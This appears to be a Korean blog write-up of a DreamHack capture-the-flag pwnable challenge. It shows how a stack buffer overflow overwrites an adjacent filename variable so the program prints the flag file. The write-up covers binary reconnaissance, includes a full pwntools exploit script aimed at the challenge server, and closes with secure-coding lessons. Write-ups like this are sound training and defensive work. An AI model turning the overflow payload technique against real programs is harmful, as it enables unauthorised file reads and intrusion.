[🥉 Bronze 3] 반환 주소 대신 "열 파일 이름"을 덮는다 — DreamHack bof 풀이 — ZINO
2026-07-07·1분 읽기·
[🥉 Bronze 3] 반환 주소 대신 "열 파일 이름"을 덮는다 — DreamHack bof 풀이
scanf("%144s") 로 스택 버퍼를 넘치는 전형적인 오버플로 문제. 그런데 덮을 것은 반환 주소가 아니다. 버퍼 바로 아래에 read_cat() 이 open() 할 파일명 "./cat" 이 놓여 있어서, 그 자리를 "flag" 로 덮으면 프로그램이 알아서 flag 파일을 열어 출력한다. 버퍼와 파일명 사이 거리 0x80 만 맞추면 끝.
이름은 bof, 그냥 버퍼 오버플로다. 그런데 막상 열어 보면 "반환 주소를 덮어 셸을 딴다" 는 정석 루트가 막혀 있다. 셸을 띄울 win/system 이 바이너리 안에 없다.
대신 이 문제에는 다른 문이 열려 있다. 프로그램은 read_cat() 이라는 함수로 파일을 하나 열어서 그 내용을 그대로 출력한다. 그 함수가 여는 파일 이름이 스택 위에, 우리가 넘치게 될 버퍼 바로 아래에 놓여 있다. 그러니 반환 주소까지 갈 것도 없이 파일 이름만 flag 로 바꿔치기 하면 프로그램이 알아서 flag 를 읽어 준다.
flag 는 440, 소유자 root / 그룹 bof. 그런데 프로세스는 USER bof 로 돈다. bof 는 그룹 멤버이므로 그룹 읽기 권한으로 flag 를 읽을 수 있다. 즉 프로그램이 flag 를 열기만 하면 내용이 나온다. 문제는 "프로그램이 여는 파일 이름을 cat 에서 flag 로 바꿀 수 있느냐" 하나로 좁혀진다.
WORKDIR 이 /home/bof 라서 상대경로 flag 만으로 /home/bof/flag 를 가리킨다. 경로를 길게 쓸 필요도 없다.
file · nm · readelf 로 심볼과 rodata 문자열 확인 — scanf 포맷이 %144s
64비트 ELF, not stripped. 함수는 main, read_cat, init 세 개뿐이다. .rodata 에 눈에 띄는 문자열이 %144s — 나중에 scanf 의 포맷 문자열로 쓰인다. 144바이트까지 읽는다는 뜻이다. meow?, meow, %s :) 는 프로그램 출력 문구.
보호기법은 checksec 으로 확인한다.
checksec --file=bof
checksec — No canary, NX enabled, No PIE
No canary: 스택 오버플로를 걸러 낼 카나리가 없다. 버퍼를 넘쳐도 검사에 안 걸린다.
NX enabled: 스택은 실행 불가. 셸코드를 스택에 올려 뛰는 건 막혀 있다.
No PIE (0x400000): 코드가 고정 주소에 로드된다. 주소를 그대로 하드코딩할 수 있다.
카나리가 없으니 오버플로는 자유롭다. NX 때문에 셸코드는 못 올리지만, 애초에 이 문제는 셸을 딸 필요가 없다.
🐛 삽질 — 반환 주소부터 노렸다
▶🐛 삽질 — ret2win 을 먼저 뒤졌지만 셸 딸 함수가 없다
bof + 카나리 없음 + No PIE 를 보면 반사적으로 "반환 주소 덮어서 win/get_shell 로 점프" 를 떠올린다. 그래서 셸을 딸 만한 함수·가젯이 있는지부터 뒤졌다.
nm bof | grep -iE "system|win|shell|/bin"nm -D bof | grep " U " # import 하는 함수
win/system 심볼 탐색 결과 없음 — import 도 open/read/puts 뿐
system, win, get_shell, /bin/sh — 아무것도 없다. import 하는 함수도 scanf, open, read, puts, printf, memset, close, exit, setvbuf 가 전부다. system 도 execve 도 없으니 반환 주소를 어디로 덮어도 셸이 안 나온다.
그런데 import 목록에 open/read/puts 가 있다는 게 힌트였다. 파일을 열어 출력하는 코드가 이미 있다는 뜻이고, 그게 read_cat 이다. 셸을 딸 게 아니라 그 함수가 여는 파일을 바꾸는 게 이 문제의 의도였다.
🔬 코드 정찰 — main 과 read_cat
main 을 디스어셈블한다. 주석은 sed 로 붙였다.
objdump -d --no-show-raw-insn -M intel bof | sed -n '/<main>:/,/^$/p'
main 디스어셈블 — name="./cat" @ rbp-0x10, scanf("%144s", buf@rbp-0x90)
흐름을 정리하면 이렇다.
mov DWORD PTR [rax],0x61632f2e / mov WORD PTR [rax+0x4],0x74 — rbp-0x10 자리에 바이트를 직접 박아 "./cat" 문자열을 만든다. (2e 2f 63 61 = ./ca, 그다음 74 = t)
scanf("%144s", rbp-0x90) — 입력을 rbp-0x90 버퍼에 최대 144바이트 받는다. 이게 오버플로 지점.
read_cat(rbp-0x10) — 방금 만든 "./cat" 파일명을 넘겨 호출한다.
버퍼는 rbp-0x90, 파일명은 rbp-0x10. 둘이 같은 스택 프레임에 있고, 파일명이 버퍼보다 높은 주소(아래쪽) 다. scanf 가 144바이트까지 쓸 수 있으니 버퍼를 넘어 파일명까지 닿는다.
read_cat 디스어셈블 — open(rdi=name, O_RDONLY) 로 넘겨받은 파일명을 연다
read_cat 은 인자로 받은 파일명(rdi, [rbp-0x98] 에 저장)을 그대로 open(name, O_RDONLY) 한다. 열기에 성공하면 read(fd, buf, 0x80) 로 128바이트를 읽어 puts 로 출력한다. 여는 파일 이름을 검증하지 않는다.main 이 넘긴 게 "./cat" 이면 cat 을, "flag" 면 flag 를 연다.
💣 핵심 — buf 와 파일명 사이 0x80
노릴 곳은 정해졌다. read_cat 이 여는 파일명(rbp-0x10)을 "flag" 로 덮는 것. 버퍼(rbp-0x90)에서 파일명까지 거리는:
scanf 는 공백/개행을 만나면 입력을 끝내므로, sendline 이 붙이는 개행이 입력 종료 역할을 한다. 받은 응답에서 DH{...} 를 뽑으면 끝.
🚀 Full Exploit
#!/usr/bin/env python3# bof (DreamHack, Bronze 3, pwnable)## main():# char buf[0x80] @ rbp-0x90# char name[..] @ rbp-0x10 = "./cat"# scanf("%144s", buf); # 144바이트까지 → buf 를 넘어 name 까지 덮인다# read_cat(name); # open(name, O_RDONLY) 후 내용 출력## buf(rbp-0x90) 와 name(rbp-0x10) 거리 = 0x80.# 'A'*0x80 로 buf 를 채운 뒤 "flag" 를 붙이면 name 이 "flag" 로 덮여# read_cat 이 /home/bof/flag (WORKDIR=/home/bof) 를 열어 출력한다.from pwn import *import reHOST, PORT = "host3.dreamhack.games", 10049io = remote(HOST, PORT)payload = b"A" * 0x80 + b"flag"io.sendline(payload)io.recvuntil(b"meow? ")data = io.recvall(timeout=5)print(data.decode(errors="replace"))m = re.search(rb"DH\{[^}]*\}", data)if m: log.success("FLAG: " + m.group().decode())
solve.py 원격 실행 — 라이브 서버에서 실제 플래그 회수
meow? 다음에 flag 파일 내용이 그대로 찍히고, 이어서 meow, AAAA...flag :) 로 원래 출력 문구가 따라온다. 반환 주소를 안 건드렸으니 프로그램이 크래시 없이 정상 종료한다.
이 문제는 카나리도 없고 No PIE 라 반사적으로 ret2win 을 떠올리게 해 놓고, 정작 셸 딸 함수는 빼 버렸다. 진짜 표적은 같은 프레임에 놓인 지역 변수 — read_cat 이 열 파일 이름이었다. 인접 변수를 덮어 프로그램의 동작(여는 파일)을 바꾸는, 오버플로의 또 다른 결이다.
입력 길이는 버퍼 크기에 맞춰야 한다.
버퍼는 0x80 인데 scanf 포맷이 %144s 였다. 널 종단까지 치면 145바이트를 쓸 수 있으니 버퍼가 감당할 수 없다. %s 에 최대 폭을 주더라도 그 폭이 버퍼 크기보다 크면 오버플로는 그대로 열려 있다. 폭 지정만 믿으면 안 되고, 버퍼 크기와 맞물려 계산해야 안전하다.
파일 이름을 외부 입력으로 정하지 마라.
read_cat 이 넘겨받은 이름을 검증 없이 open 한 게 마지막 문이었다. 열 파일이 정해져 있다면 이름을 상수로 박고, 사용자 입력이 경로에 섞여야 한다면 허용 목록·정규화·경로 탈출(..) 검사를 반드시 건다. 여기서는 애초에 파일명이 스택 변수가 아니라 읽기 전용 상수였다면 오버플로로도 못 바꿨을 것이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…